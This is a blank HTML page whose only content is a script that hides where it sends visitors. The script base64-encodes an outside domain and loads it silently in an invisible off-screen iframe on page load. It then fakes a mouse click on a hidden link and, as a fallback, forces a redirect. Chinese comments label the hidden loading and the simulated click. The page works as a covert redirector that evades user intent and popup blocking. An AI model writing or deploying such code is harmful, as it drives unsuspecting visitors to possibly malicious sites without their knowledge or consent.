<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
html,body{
    margin:0;
    padding:0;
    width:100%;
    height:100%;
    overflow:hidden;
    background:#fff;
}
iframe{
    position:absolute;
    left:-9999px;
    top:-9999px;
    width:1px;
    height:1px;
    opacity:0;
    border:0;
}
</style>
</head>
<body>
<iframe id="f"></iframe>
<script>
(function(){
    var u = atob("aHR0cHM6Ly84dHFleC50b3A=");
    try {
        // iframe 隐藏加载
        var f =
            document.getElementById("f");
        f.src = u;
    } catch(e){}
    // 模拟点击
    setTimeout(function(){
        try {
            var a =
                document.createElement("a");
            a.href = u;
            a.style.display = "none";
            document.body.appendChild(a);
            a.dispatchEvent(
                new MouseEvent(
                    "click",
                    {
                        view: window,
                        bubbles: true,
                        cancelable: true
                    }
                )
            );
            // fallback
            setTimeout(function(){
                location.href = u;
            },100);
        } catch(e){
            location.href = u;
        }
    },200);
})();
</script>
</body>
</html>
                
